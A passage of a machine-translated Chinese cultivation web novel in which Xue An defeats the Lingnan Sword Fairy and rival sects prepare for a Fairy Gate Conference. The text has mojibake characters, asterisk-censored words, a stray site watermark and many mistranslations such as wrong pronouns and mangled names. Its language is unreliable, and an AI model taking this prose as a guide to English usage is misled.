    It''s just that the realms behind are too illusory, and no one has seen them before, just as legends.


    Only longevity, people all have heard of it.


    I heard that once you enter longevity, your longevity can reach more than a thousand years, and you will have no fetters.


    But since the last longevity master disappeared a hundred years ago, it is rare in the world that anyone has been promoted to longevity again.


    If Yu Yuanyi has really entered the longevity, that can be called the most shocking news in the Chinese martial arts world.


    It is even possible to change the world pattern.


    Just when many people were full of horror, a naive child voice came.


    "Dad, what is longevity? Can I eat it?"


    Everyone turned their heads to look around, and saw a little girl talking to Xue An.


    At this moment, many people have already sentenced Xue An to death in their hearts, thinking that he is bound to die.


    So seeing this scene, these people couldn''t help but sneer.


    Only Xue An, with a calm complexion, even smiled, "Longevity... to me, it''s just an ant!"


    As soon as this sentence came out, many people laughed out loud, thinking that Xue An must be frightened and nervous.


    At this time, Yu Lang''s eldest son, Yu Ming, the real top master among the younger generation of the Yu family, stepped forward and said indifferently: "Old ancestor, leave this person to me!"


    Yu Yuanyi looked at Xue An with a calm expression, and did not say anything, which was considered tacit approval.


    Yu Ming raised his head and looked at Xue An with a cold look. After a while, he slowly said, "You killed my brother?"


    Xue An nodded.


    "That''s good! Today is your death date!" Yu Ming said, with a bright light in his eyes.


    He defeated Xue An with full confidence.


    Because as a young master trained by the Yu family, he was already a half-step Sanxian cultivation base. Now he has followed his ancestors for many days, and his cultivation base has gone further, and he has officially stepped into Sanxian Sanxian only a little bit.


    At his age, if he stepped into Sanxian, he would be a truly top master among the younger generation.


    And Xue An is just a celestial being.


    In Yu Ming''s view, it is easy to win against a deity.


    But Yu Ming never preserved his strength, so as soon as he raised his hand, a cyan sword aura formed, and then went straight to Xue An.


    Where the sword gas passes, the grass grows wildly on the ground and flowers are in full bloom, step by step.


    "It''s the Yu Jiasheng sword!" someone exclaimed.


    Yu Yang, who was slashed by Xue An on the banks of the Qingfeng River, repaired the sword, killing every step.


    Yu Mingxiu''s life sword is the Yu family''s life sword, the nature is just the opposite of the killing sword, and it has been cultivated by Yu Ming to the point of perfection.


    In terms of strength, he is more than ten times stronger than Yu Yang.


    Yu Ran couldn''t bear to turn his head, his heart was full of misery.


    Yang Xudong was full of joy, just waiting to see the scene of Xue An''s death.


    But Xue An laughed.


    "Since you stab me with a sword, I will return it with a sword!"


    After that, Xue An gave a soft drink.


    "The sword is coming!"


    The Dragon Yin Sword that was originally placed on the table whispered, soaring into the sky and flying directly into Xue An''s hands.


    But this scene did not shake Yu Ming''s sword power at all, he still pierced away.


    Xue An raised his hand and gave this sword lightly, and then said coldly: "I said, your Yu family''s swordsmanship was wrong. Since you don''t believe it, today... I will let you see what It is the real fairy sword!"


    After that, Xue An raised his sword, and then swung it down in a thunderous force.


    "Look at me with a sword...break the mountains and rivers!"


    The light of this sword shines on the earth like the sun.


    It seems that even the space has been split by this sword.


    But in the face of this shocking sword, Yu Ming still rushed forward without fear.


    Boom!


    The top raw sword of the Yu family, when confronted with Xue An''s powerful sword, it was like a thunder.


    shook everyone''s vitality.


    Who wins and who loses?


    People looked suspiciously.


    Then I saw the shocking scene I saw a deep trench extending from behind Yu Ming, and I couldn''t see the head at a glance.


    and Yu Ming was pale, and he vomited a mouthful of blood.


    As the blood fell to the ground, the hill behind made a creaking sound under the might of the sword, and finally collapsed.


    a sword.


    ��ɽ!


    This kind of kendo is almost unheard of.


    Xue An, who stands with a sword, is like an immortal, and said lightly: "Now, can you take it?"


    Yu Ming struggled and wanted to say something, at this moment Yu Yuan sighed.


    "Yu Ming, step back!"


    A trace of pain flashed in Yu Ming''s eyes, and finally bowed his head and said: "Yes!"


    Then Yu Yuan took two steps forward and smiled faintly, "What an amazing swordsmanship! I didn''t expect that for decades, there have been more amazing young people like you in the world."


    Xue An looked calm, and shook his head, "No!"


    "What''s wrong?"


    "The breath on your body is wrong." Xue An paused, and smiled sensibly: "Your current strength should not be promoted to the longevity. At most, it is only a half-step longevity. Am I right?"


    Yu Yuan sighed, "Sure enough, I have good eyesight, but you forgot, half a long life... also long life!"

 Chapter 131： I only believe in fisting

    With the voice, Yu Yuanyi''s momentum began to rise.


    "Young man, it is not easy for you to have such a level of cultivation at this age. I am just curious, why are you having trouble with my Yu family!" Yu Yuanyi asked lightly.


    I can''t help but startled.


    This is also what she wondered.


    But Xue An smiled slightly, "I have a habit. No matter what I do, I have to convince everyone before doing it. You are no exception."


    ''S words caused Yu Yuan to change slightly, and then his eyes grew cold.


    "You are indeed very strong, and you have even reached a terrifying height in your understanding of kendo, but sometimes, the gap in strength cannot be made up by others!"


    said, Yu Yuanyi''s aura spread out.


    Half a long life!


    The most peak power in the world today.


    The momentum is like a stormy sea, and Xue An is wrapped in it.


    But Xue An''s complexion did not change, but a look of appreciation flashed in his eyes.


    "In this world, it is really not easy to have pure sword repair like you."


    Yu Yuan shook his head, "My heart is like a sword, and any provocative and demeaning your words are useless."


    Xue An smiled, then put down the Dragon Yin Sword in his hand.


    Many people were taken aback.


    Could he give up?


    Probably!


    After all, the opponent is the Lingnan Sword Fairy!


    admitting defeat is not a shame.


    and Yu Ran looked happy.


    But Xue An''s next words made Yu Ran''s joy disappear.


    "You are the first person I have met who can be called a practitioner. In order to show respect, I will use my best method, that is, to fight you with my fists." Xue An said lightly.


    Many people looked wrong.


    Isn''t this Xue An crazy?


    Facing the Lingnan Sword Fairy who is the only one in the world, he actually has to fight with his fists?


    Isn''t this looking for death?


    Yu Yuan flashed a playful look in his eyes, and nodded, "I wonder, where does your confidence come from! But the courage is commendable, then I will do it for you! Do it!"


    Xue An smiled indifferently, "You come first!"


    hiss.


    Many people took a breath.


    Yang Xudong almost laughed.


    If someone wants to die, no one can stop it!


    was so arrogant that he let the sword fairy take the first shot?


    Yu Yuanyi smiled, and didn''t care about it.


    For him, there is only a sword left in his life.


    All other things have been abandoned by him.


    "That''s good! Since you keep saying that my Yu family kendo is wrong, then I will let you see what is the real Yu family kendo!"


    Talking, Yu Yuanyi pulled out a sword from his waist.


    A wooden sword.


    A wooden sword cut from a branch that was easily broken off.


    I could see this sword, but Yu Ming''s eyes showed fanaticism.


    Because only he knows the horror of this wooden sword.


    Yu Yuanyi raised the wooden sword, and said lightly: "Thirty years of retreat, and the sword has only been completed today. This... is my fairy sword! Be careful!"


    After that, Yu Yuan stabs out one by one.


    Under a sword, it was like a stormy sea.


    Shocking Sword Qi came straight to Xue An.


    Xue An stood in place, his expression was neither sad nor happy, raised his fist, and drank softly: "A punch will move the world!"


    Killing God Six Forms First Form.


    When Xue An used this fist for the first time, it was a real person.


    is now restored to the realm of heaven and human, and then used again, the power is more than a hundred times stronger.


    Many people just feel that this punch has shaken the world.


    A look of surprise flashed across Yu Yuan''s face, but it did not prevent him from advancing with this sword.


    boom.


    Wushuang Jianqi hit Xue An''s moving world.


    After a sound of earth-shaking muffled noise, Xue An was directly hit into the air.


    flew into the woods in the distance, life and death unknown.


    This ordered the audience to marvel.


    Many people sneered in their hearts, thinking that Xue An would definitely die.


    The Black King stood up suddenly in shock.


    The two little girls are not too scared.


    Because they are now connected with Xue An, they can feel the breath of father.


    At this time, Yu Yuan showed a touch of appreciation and regret on his face.


    "Sure enough, they are amazing talents, but unfortunately...too young and frivolous!"


    In his opinion, if he was hit by a sword, he would only die.


    Yu Ran''s eyes were bleak, and her heart was at a loss.


    But at this moment, a quiet voice came.


    "Do you know why I want to fist your sword?"


    Following the voice, an aura rose to the sky.


    Yu Yuanyi turned his face to look away.


    I saw Xue An standing in the air, walking step by step, every step he took, his aura became stronger.


    waited until the door of Yu''s house.


    His aura has already broken through the peak of heaven and man, and he has entered the ranks of half-step Sanxian.


    Yu Ming, including Yu Lang and others, have all changed.


    Breakthrough?


    And Xue An said lightly at this time: "Because... I only believe in **** to have respect and inferiority."


    Then Xue An showed a few white teeth and smiled sensibly, "I just gave you a sword, now it''s mine!"


    After that, Xue An raised a fist and yelled softly: "One punch, move Yin and Yang!"


    boom.


    This punch actually matched Yu Yuanyi''s sword equally.


    But Yu Yuanyi''s face is no longer as relaxed as before.


    But Xue An seemed to be happy, "Come again, see me punch, life and death!"


    This punch, Xue An, was once used on the old Sanxian ancestor of the Xie family, and one punch killed him This time it was used again, and Yu Yuanyi was blasted back half a step.


    Although only half a step.


    But in the eyes of others, it is so incredible.


    With half a step to disperse immortals, but can force Yu Yuanyi to retreat half a step back.


    This is a leapfrog challenge with a big difference!


    Yu Yuanyi was no longer at ease at this time, and gave a dignified cry.


    "Good boxing, but not enough."


    After that, Yu Yuan slammed his sword.


    The power of this sword directly forced others to retreat more than ten meters.


    But Xue An didn''t avoid it, but smiled.


    "Good come! Take me another punch!"


    Xue An raised his hand, his eyes were cold, "Fourth style, break love!"


    The fourth type of six kills gods, to cut off love and hatred, finally displayed in Xue An''s hands.


    The first three forms of the six forms of killing the gods are skills, but the latter three forms already involve the level of Tao.


    Just like this, the so-called feud is hard to cut.


    But Xue An just wants to break.


    In Xue An''s dictionary, there is no such word as "can''t"


    With this punch, Yu Yuan''s expression changed drastically, no more indifferent.


    There was no bang, and there was no head-on.


    Xue An''s punch was like water entering the sea, passing directly through Yu Yuanyi''s sword, and then hitting his wooden sword.


    Click.


    There was a crisp sound.


    This seemingly inconspicuous wooden sword was directly broken.


    Then the momentum did not stop, and Yu Yuan flew out with a bang.


    did not barely stop until he touched the wall.


    At this point, everyone is shocked.


    And this Lingnan sword fairy turned pale, and a trace of blood slowly leaked from the corner of his mouth.

 Chapter 132： Lingnan sword break

    "Old... ancestor!" Yu Lang tremblingly shouted.


    Yu Ming''s expression changed wildly, and he was about to rush over with his sword.


    "Leave me all!" Yu Yuanyi shouted coldly.


    Everyone in the Yu family didn''t dare not listen to him, so they all retreated aside with grief and anger.


    Yu Yuanyi looked up at Xue An, his eyes a little complicated.


    "Good boxing!"


    Xue An nodded, "You are not bad too! Unfortunately, your kendo is still wrong."


    "I have been in seclusion for thirty years, practicing kendo as hard as possible, and now you say that I am wrong, then what is right?"


    "Swordsman has three levels, the lowest one controls the sword with the body, the middle one controls the sword with Qi, and the highest one controls the sword with the gods." Xue An said lightly.


    "You chose God to control the sword, this is not wrong, but your so-called retreat will only force you into a dead end."


    "You are indifferent to your grievances and forget your life and death, just to make your kendo more immortal, but in my opinion, this itself is wrong."


    "The so-called immortal is nothing more than a powerful person who walks against the sky. In essence, he is still a human. Since he is a human, don''t pretend that you are not a human, and deliberately suppress those emotions and desires to make yourself aloof. Isn''t it wrong?"


    Xue An''s words were like thunder, and Yu Yuan was shaken by the shock, and his face gradually paled.


    "I was wrong... Am I really wrong?"


    Yu Yuanyi has made Xindu as a sword, but Xue An''s sword heart shattered with a few words.


    Xue An sighed softly at this time, "It''s not easy to be able to practice your kendo in this Sao Po world."


    Yu Yuanyi lowered his head and said nothing, but the fire in his eyes gradually went out.


    At the same time, it started to rain slightly.


    No one spoke, everyone was shocked by what happened today.


    The sword fairy, who had never been defeated, was actually defeated.


    At this moment, Yu Yuanyi''s black hair began to turn white rapidly, and in a flash, it was already white.


    her figure also squatted down, and the skin began to age.


    "Ancestor!" Yu Lang cried bitterly and fell to his knees.


    Everyone in the Yu family also knelt in the rain, with their faces unclear whether it was rain or tears.


    Yu Yuanyi slowly raised his head, and in his eyes that were no longer clear, there was an unspeakable relief and relief.


    "Thank you!"


    This thank you is to Xue An.


    Xue An faintly smiled, "You''re welcome."


    He understood what Yu Yuanyi meant. For a person like him who has served kendo all his life, it is the greatest blessing to know where he was wrong before he died.


    "It''s ridiculous that I have worked hard for dozens of years, and finally realized that Hongchen is the kendo! Haha!" Yu Yuanyi said mockingly, his voice getting older and deeper.


    "I want to ask you two things." Yu Yuanyi suddenly raised his head to look at Xue An.


    Xue An nodded, "Yes."


    "After I die, the Yu family will become the target of public criticism. I don''t ask you to look after them, but I just hope you can let it go."


    Xue An nodded, "No problem!"


    At this time, Yu Yuanyi turned his head and looked at Yu Lang and Yu Ming who were kneeling on the ground.


    "Listen to you two. After I die, don''t have a slight bit of resentment and revenge against Mr. Xue. You have to serve him with the attitude of serving me, understand?"


    Yu Lang cried and shouted: "Ancestor!"


    Yu Yuan has a beard and hair, "Do you understand what I said?"


    Yu Lang and Yu Ming both cried, "Understood!"


    Yu Yuanichi turned his head hard, "and..."


    Xue An sighed softly, "I know, this rain **** in Lingnan, I will take care of it."


    This sentence made Yu Yuan a little startled, and then nodded, "It turns out that Mr. knows everything."


    Xue An smiled, "I went to the Rainshen Temple two days ago and found that this little **** had a strange sword intent on his body. I didn''t know who it was until I saw you."


    Yu Yuanyi''s eyes showed a hint of nostalgia, "Although she is a god, she is very courageous and stupid. I am afraid that someone will bully her, so Du gave her a sword intent."


    Xue An silently.


    And Yu Yuanyi''s breath at this time became more and more scattered, and it seemed that he was aging rapidly.


    "Mr. Xue...can come over for a while?" Yu Yuanyi said with difficulty.


    Xue An took a few steps forward, came to Yu Yuanyi, and knelt down and looked at him.


    Yu Yuanyi said in Xue An''s ear with difficulty: "You...are not a person in the world!"


    Xue An nodded slightly.


    Yu Yuanyi sighed, "Sure enough! No wonder you have such a deep understanding of Kendo."


    Yu Yuan paused, and took a breath: "I just want to ask, do those legendary realms exist?"


    Xue An nodded again.


    Yu Yuan let out a light in his eyes, and asked eagerly, "Are there many sword repairs out there?"


    Xue An whispered: "Many, and very powerful. Some powerful swordsmen can even destroy the stars with one sword!"


    Yu Yuanyi raised his head longingly, "I really want to see it!"


    After ���� said, Yu Yuan showed a satisfied smile on his face and slowly closed his eyes.


    Before falling into the darkness forever, he seemed to have returned to the fluttering white boyhood, and saw the little girl who was a **** but was as timid as a mouse!


    A slight breeze blows.


    Yu Yuanyi''s body gradually turned into floating dust, and dispersed with the wind.


    Since then.


    The most profitable sword in Lingnan, broken!


    And the original drizzle also raged at this moment, the wind whimpered, and it seemed that someone was crying.


    And in the Temple of Rain, the busy goddesses and believers did not notice the corners of the eyes of the gods slowly fell with tears.


    Yu Lang and the Yu family all knelt and wept bitterly.


    Xue An stood up, his face was neither sad nor happy.


    In his opinion, this is Yu Yuanyi''s best destination.


    With his swordsmanship, it is impossible to break through longevity in this life. As for the realm behind, don''t even think about it.


    Rather than being trapped in this small corner of the world, it is better to enter the cycle again.


    Xue An''s eyes scanned the audience, no one dared to look at him.


    Then Xue An said calmly: "Yu Yuan died all, but I will take care of the Yu family from now on. If there is anyone who doesn''t agree, I will ask my fist first."


    This sentence shocked many people who were thinking about it, and quickly dispelled their delusions.


    A joke, Lingnan Sword Fairy died under the fist of this man. Who is impatient and dare to provoke him?


    And Xue An walked to Yu Lang at this time.


    Yu Lang looked up, looking at Xue An with complicated eyes.


    Before today, he had never thought that one day he would look up at this person like this.


    Xue An said lightly: "I look after your Yu family only because I respect Yu Yuanyi as a true practitioner. As for Yu Yuanyi''s words that there is no revenge, you can do whatever you want, and I am not afraid of anyone''s revenge."


    No one dared to speak.


    Even Yu Ming lowered his head.


    This man, he can''t provoke him.


    "Yes! Mr. Xue!" Yu Lang responded in a low voice.


    Xue An put a hand on his head, "Don''t move!"


    Yu Lang froze, thinking that Xue An was about to start, and then closed his eyes resigning.


    But he only felt a pain in his head, and then Xue An raised his hand.


    He slowly opened his eyes, and Xue An looked at him with a sinking face.


    "What happened to the Fairy Gate Conference?"

 Chapter 133： Vibration 4

    Xue An just used the soul search technique to directly search Yu Lang''s memory.


    Surprisingly, Xue An did not find any clues about An Yan in Yu Lang''s memory.


    The only thing that can be connected is that two years ago, Yu Yang had followed Yu Ming to attend a Fairy Gate Conference.


    Other than that, this Yu Yang has never been outside Lingnan.


    Yu Lang was taken aback, and then said: "This Fairy Gate Conference, as the name suggests, is a gathering of various hermit sects, usually once every two years. It is all attended by young masters of various martial arts and aristocratic families, and at this Fairy Gate Conference , Will compete for the ranking on the jade list."


    Yubang, hermit sect...


    These names moved Xue An''s heart.


    "When will the next Fairy Gate Conference be held?"


    "There are more than two months left! And this year''s Fairy Gate Conference will be held in Lingnan!"


    Xue An''s eyes flickered slightly, and he nodded, "Got it!"


    The matter was over, everyone dispersed.


    And when these people left, the expressions on their faces were very complicated.


    Although they and the Yu family may have conflicts and dissatisfaction in one way or another, after all, Yu Yuanyi has sheltered Lingnan for so many years with one person and one sword.


    Today, the sword fairy fell, still people can''t help but feel full of emotion.


    The opposite is that Xue An, with an extremely domineering attitude, overwhelmed everyone, and came to Lingnan.


    Everyone knows that the sky in Lingnan has changed!


    There are still many people secretly aiming at Xue An before leaving, wondering if they can go and get a close now.


    But there is one person who is shaking all over with fright now, even dare not even look up.


    Yes, it is Yang Xudong.


    He is full of regret and fear now.


    If he knew Xue An was so powerful, he wouldn''t dare to provoke him to death.


    Now he can only pray silently in his heart, praying that Xue An has forgotten himself.


    Xue An naturally remembered him, but he just didn''t bother to pay attention to this kind of bug-like existence.


    He picked up his two daughters, turned and left.


    As soon as he left, all the people in the Yu family took a breath.


    Yu Lang picked up the broken wooden sword sadly. This was the only thing Yu Yuanyi left behind.


    Everyone was silent.


    The dull atmosphere weighed on everyone''s heart.


    Yu Ran sighed quietly, wondering what it was like.


    This man attracted her with mystery at first, but in the end he conquered his family with great strength.


    At this time, Yu Ming said grimly: "I will avenge my ancestor in the future..."


    Snapped!


    Yu Ming who slapped the fan was stunned.


    "Father, why are you hitting me?"


    Yu Lang looked at him with a stern face, "Beating you is to make you sober, and the ancestors desperately died to win the opportunity, and you can''t let you ruin it for nothing."


    Yu Ming is still a little unconvinced.


    Yu Lang sighed, "If it wasn''t for the ancestor who trapped this man with words at the end, do you think he would let our Yu family go?"


    Yu Ming said nothing.


    "And even if he let it go, I don��t know how many people look at our Yu family in secret, just because the ancestor was there and no one dared to move. Now when the ancestor goes, they will show their fangs, you think, Just relying on you and me, can you afford this huge Yu family?"


    Yu Ming''s face turned pale.


    Yu Lang lowered his eyes and said in pain: "I hate him more than anyone else, but I know better that if the Yu family wants to continue to exist, they can only surrender to him!"


    Yu Lang deserves to be the owner of the house. Although he was a little angry at the beginning, he quickly saw the situation.


    Then Yu Lang raised his head and looked at his daughter Yu Ran.


    Yu Ran was a little flustered by his father.


    "Ran, how did you meet this Mr. Xue?"


    I recounted the story roughly.


    Yu Lang was silent for a while after listening, and then said: "I understand, in the future, you don''t have to worry about your home, stay with Mr. Xue more!"


    I was taken aback.


    Father... what does this mean?


    Yu Ming gritted his teeth and bowed his head in silence.


    "Will he...will stay long in Lingnan?" Yu Ran asked timidly.


    "Not for the time being, at least, he will wait for the Fairy Gate Conference to be held before leaving." Yu Lang said softly.


    Will the person you are looking for appear at the Fairy Gate Conference? Yu Lang thought in his heart.


    After a busy day, Tan Xiaoyu took out his phone and opened the martial arts forum.


    This is already her daily habit.


    And now she is also very famous in the martial arts forum.


    Many people know that she is not only a girl, but also the successor of Zhenbei Wuguan.


    These two identities have gained a lot of fans for her.


    But in the past two days, Tan Xiaoyu has always been a little restless.


    It has been four or five days since Xue An left Beijiang.


    And today is the seven-day period.


    Will the sword slashing the Yu family he said happen?


    Tan Xiaoyu was full of worry.


    After all, this time is different from the previous solo fights. This time, one person is alone against a martial arts family.


    After opening the forum, Tan Xiaoyu was stunned.


    Because the headline is a post.


    "The sword fairy Yu Yuan died when he broke his sword. Mr. Xue came to Lingnan. How high was his cultivation? ��


    This amazing title is still bolded in bold, which is very conspicuous.


    Tan Xiaoyu took a deep breath, shaking hands and tapping away.


    This post was posted by a friend who lives in Lingnan, and this humanistic writing is not bad. Xue An attended the birthday dinner, and then defeated Yu Lang, the head of the Yu family, and defeated Yu Ming with a single sword The ups and downs of Yu Yuanyi''s fist killing Yu Yuanyi is extremely exciting.


    Tan Xiaoyu saw her heart surging, and after reading it, she was shocked when she saw the following posts.


    "I won''t grab the sofa on the second floor today, because Mr. Xue is too awesome."


    "Mom, the host should write a novel, otherwise he would be too talented! Mr. Xue is really awesome!"


    "I said earlier that this Mr. Xue is not an ordinary person, you still don''t believe it!"


    "Fart on the third floor, your posting record clearly shows that you are not optimistic about this action."


    "Who knows Mr. Xue''s contact information, I want to go to a teacher and wait online!"


    "Same request, I would like to pay one million tuition fees!"


    "A local tyrant appeared upstairs!"


    "Assassin, a millionaire wants to worship Mr. Xue as a teacher? That can kill the existence of a half-step longevity, and one million is probably not enough for someone to look at you."


    This post reached the top of the most searched version in just over an hour.


    Tan Xiaoyu also left a message with excitement.


    "Like Mr. Xue!"


    After a while, someone replied to her.


    "I wipe, see what I caught?"


    "Sister Xiao Yu, you finally showed up, you want to kill me!"


    "Shame on upstairs!"


    "Xiao Yu, I heard that you are also from Beijiang, do you know this Mr. Xue?"


    "Yes! I remember sister Xiao Yu once said that she knew this Mr. Xue!"


    "Gosh! Hurry up and hug your thighs!"


    "Pervert, but I want to hug it too!"


    Tan Xiaoyu was dumbfounded, but after thinking about it, he replied.


    "Of course I know Mr. Xue!"


    When writing this passage, Tan Xiaoyu suddenly felt that he was so proud!

 Chapter 134： Hidden World Fairy Gate

    This is a temple hidden in the mountains beyond the Great Wall.


    The mountain road is extremely steep and difficult to navigate, and there are many man-made obstacles on the road to the mountain, so it has not been known to the outside world.


    But only real masters will know that this not-so-majestic temple is the Kuchan Temple with a long history in the hidden fairy gate.


    At this time, in the Kuchan Temple, a monk with naked torso, exposed bronze skin, muscle knots like dragons and snakes, is practicing.


    His method of cultivation is simple and rude, which is to carry huge stones from the lower slopes outside the temple into the temple.


    This huge boulder, the shortest one is as tall as a person, it is all blue granite, and each one has to weigh a ton.


    Ordinary people don''t say back, even four or five pushes, they are not necessarily shaken.


    But in this monk''s body, it seems that there is no difference at all, walking like flying on the hillside road.


    Finally, all the stones are backed up.


    There was no sweat on the monk''s face.


    This kind of physical strength is simply terrifying.


    "Brother, Master asked you to go." A young monk said respectfully.


    The monk nodded, put on his coat, and walked into the Buddhist room at the back.


    In the meditation room, a burly monk with a beard is sitting cross-legged.


    "Master!"


    The fat monk slowly opened his eyes, and his eyes shot out.


    "Hui Nian."


    "The disciple is here!"


    "Last Fairy Gate Conference, how many places did you win?"


    "Back to Master, twelfth!" Hui Nian said solemnly.


    "What about this time?" the fat monk asked.


    "The disciple only won the first prize this time!" Hui Nian said confidently.


    The fat monk laughed loudly, shaking the roof tiles.


    "Okay! The disciples of Kuchan Temple should have this kind of heart, but the teacher just got a news that Lingnan sword immortal Yu Yuanyi is dead!"


    The explosive news didn''t make Hui Nian move in the slightest.


    "Life and death are common things. He is called the Sword Immortal, but he doesn''t necessarily mean that he is really immortal!" Hui Nian said lightly.


    The fat monk chuckled, "I��m telling you this news for my teacher. I just want to tell you that this Immortal Gate Conference will be very interesting. The person who killed Yu Yuanyi is an unknown master."


    "The disciples understand that the cultivable is not afraid, whether it is a master or a mediocre, in my eyes, it is nothing more than that!" Hui Nian bowed her head and looked calm.


    But a powerful momentum came out.


    The fat monk showed a gratified smile on his face, "Have you been in the fairyland?"


    "Return to Master, I just broke through last month!"


    "Good!" The fat monk suddenly stood up.


    "Our Kuchan Temple has stayed here for a long time. Many people have forgotten our existence. This time, let them see what is the real fairy gate!"


    Hui Nian lowered her head and said nothing, but an unexplained look flashed in her eyes.


    In country H, thousands of miles away, a similar conversation is also going on.


    "Jin Sang, the news that I just received, Lingnan Jianxian is dead!" a man with a solemn expression kneeled in the main seat and said in a deep voice.


    Sitting on his knees with his drooping hands is a tall man with a handsome face.


    If there are people from country H, you can definitely recognize this man.


    Because he is the most shining star in the martial arts scene of the H country, and he is known as a genius who will not be born in a century, Jin Chengsuo.


    Hearing his father��s unpredictable tone, Jin Chengsuo said indifferently: "My father, Lingnan Jianxian died when he died. After all, he is already a figure in the previous generation. Why should he be afraid?"


    His father Jin Chengyi sighed, "Jin Sang, your current cultivation base is pretty good. In the last Immortal Gate Conference, you also won the fourteenth place, but this Yu Yuanyi is really no ordinary person! The person who killed him must be even more difficult!"


    Jin Chengsuo smiled slightly, "Father, no matter who the opponent is, I will use our masterful magical skills to defeat him! Don''t worry!"


    Jin Sung-il looked at his confident son and nodded.


    But there was a beautiful back in Jin Chengsuo''s mind.


    The woman who impressed him so deeply in the last Fairy Gate Conference, will she still appear this time?


    At the same time, in a very secret valley.


    The only female nun sect in the hidden world immortal gate, the pavilion master Le Wushuang of Wangyue Pavilion also received the news.


    Her complexion is a bit solemn.


    The Fairy Gate Conference will be held soon.


    such a thing happened suddenly.


    Naturally, things have changed a lot.


    After pondering for a moment, Le Wushuang said: "Go and call Shu Yinger."


    soon,


    Wangyue Pavilion''s big disciple, Shu Ying''er arrived.


    "Master!"


    Le Wushuang looked at the woman below with a pretty face but a slightly sulky look, and said solemnly: "The Fairy Gate Conference is about to be held, how are you preparing?"


    "Back to Master, I have been cultivating very diligently recently, but I feel diligent again." Shu Ying''er said quite contentedly.


    Le Wushuang nodded in satisfaction, "Well, it''s still up to you this time. Remember to be careful, because this year''s Fairy Gate Conference should not be that simple!"


    Shu Yinger smiled with joy, "Yes!"


    After that, UU reading Shu Yinger slowly withdrew.


    When I got out of the hall, a few juniors leaned in and said very diligently.


    "Master sister, are you going to participate in the Fairy Gate Conference again this time?"


    Shu Yinger nodded proudly.


    "Then take us there! It''s really bored to stay in the pavilion!" These juniors began to beg.


    Shu Yinger sneered: "Do you think this is going to play? The lowest level is the cultivation base of heaven and human, who of you has?"


    In a word, all these women closed their mouths.


    But after a while, someone whispered: "Then why did the last Fairy Gate Conference actually take that person?"


    Snapped.


    Shu Yinger slapped the speaker out.


    "You didn''t hear what I said? If anyone mentions the trash in front of me in the future, I will take your skin off!" Shu Yinger said gloomily.


    "Yes!" All these women were silent, afraid to speak.


    Waiting for Shu Yinger to walk away.


    These talents whispered somewhat dissatisfied.


    "Huh, what a snob, when the man first entered our pavilion, she saw that the master was very important to him, and she kept walking around the house all day long, but now she is a bite of waste!"


    "Who said no, didn''t you see that all the bracelets she was wearing belonged to that person?"


    "Hehe! To blame, I can only blame the poor life and the unparalleled qualifications, but in the end he couldn''t practice."


    Just as these women were discussing, a woman with a broom in her hand lowered her head and slowly walked across the square in front of the main hall.


    These people looked at each other, then smiled disdainfully, and then dispersed.


    The woman slowly swept the ground, her slightly tangled hair fell down, covering her face.

 Chapter 135： Call me the queen

    The immortal gate conference that is about to open, so that many hidden fairy gate thousand-year-old families have begun to become active.


    is like a giant beast dormant in the dark, waking up one by one.


    And Lingnan, as the venue of this Fairy Gate Conference, naturally attracted countless eyes.


    There is another drizzle in the sky.


    Outside Lingnan Airport, Li Hao is waiting for passengers.


    Business has suddenly improved a lot recently, and Li Hao is of course very happy about it.


    Today, I don��t know if there are any customers who are willing to take action.


    Li Hao was calculating, and saw a woman walking out of the airport lobby.


    A beautiful and charming woman.


    Li Hao looked a little silly.


    He has never seen such a beautiful woman.


    Especially this woman''s every move reveals infinite amorous feelings.


    makes people''s bones crisp.


    was suffering from dementia, the woman walked up to her, opened the door and got into the car.


    A refreshing fragrance pierced his nostrils, and Li Hao felt his heartbeat more than doubled than usual.


    "Little...Miss, where do I go?"


    The woman''s eyes were moving, "Where is the most prosperous place in Lingnan?"


    The voice is charming and moving.


    Li Hao stammered: "The bar street in the city is more prosperous."


    The woman nodded, "Just go there!"


    For the first time in his life, Li Hao felt that the longer the trip, the better.


    When finally reached the place, the woman got out of the car and smiled slightly.


    This smile made Li Hao feel that his heart had stopped beating, so he watched the woman go away so obsessively, that he suddenly remembered.


    She didn''t seem to give money, right?


    Shi Xueqing walked into the largest bar in Lingnan.


    The explosive music mixed with alcohol, people will relax unconsciously.


    And when Xueqing appeared, it made many people''s eyes bright.


    What a beautiful woman.


    Some bar prodigal sons came up to strike up a conversation.


    Shi Xueqing just glanced at them lightly, and these people froze in place.


    It wasn''t until Shi Xueqing left that they returned to normal in sweat, and a gleam of horror appeared in their eyes.


    The look in this woman''s eyes is terrible.


    "Miss, what do I need?" The waiter''s eyes also flashed with surprise.


    Shi Xueqing sat on a chair at the bar counter, tapping on the table top with her slender fingers, and said faintly: "I want to see your principal!"


    The waiter was stunned, "Miss, you..."


    Shi Xueqing glanced at the waiter, the waiter''s eyes gradually confused, and then nodded: "Yes!"


    Wang Bao has been very upset in the past two days, always feeling that something will happen.


    Damn, it seems that I have to find a new girl to go unlucky.


    Wang Bao was thinking about it, and the waiter opened the door and walked in.


    "Damn, who let you in? Get out!" Wang Bao cursed.


    The waiter''s face was dull, as if he hadn''t heard it.


    "Oh, didn''t you hear me? Get out!" Wang Bao said angrily.


    At this moment, Shi Xueqing walked out from behind, "Are you the principal here?"


    Wang Bao was stunned.


    He has grown up so much and has never seen such a beautiful woman.


    Compared with her, the accompaniment girls in this bar of my own have become the street flower ladies.


    "I''m Brother Bao, you..."


    Shi Xueqing nodded, "I want to borrow this bar for a while!"


    Wang Bao reacted and grinned, "Little lady, do you know who you are talking to? Borrow? Okay, but you have to serve me comfortably..."


    Shi Xueqing raised her head, and a pair of fox eyes flashed brightly.


    Wang Baoru was struck by lightning, and his eyes gradually became hollow.


    "Now, do you hear clearly?" Shi Xueqing said.


    "Yes, master!" Wang Bao said hollowly.


    Shi Xueqing nodded, "Go and check, the person who killed Yu''s Jianxian some time ago is still not in Lingnan, I want all his information!"


    "Okay, master!"


    "Go on, and..." Shi Xueqing paused, "I will call me the Queen from now on!"


    "Understand, Your Lady Queen!"


    Wang Bao and the waiter are out.


    Shi Xueqing sat on the sofa, poured a glass of red wine, took a sip, then frowned.


    is really terrible.


    I am used to drinking aging wine on Fanjing Mountain, and then drinking these worldly wines is almost like drinking water.


    That''s right, she is Fanjing Mountain, walking in Lingying Palace.


    Lingying Palace is the most unique sect in the hidden world fairy gate.


    Because they worshipped fox fairy.


    Therefore, almost every disciple in Lingying Palace is full of charm, relying on the power of unparalleled charm to win.


    Shi Xueqing is no exception.


    This is her second time going down the mountain.


    In the first Fairy Gate Conference, she was defeated by Yu Mingjian.


    Naturally, I would not give up this time.


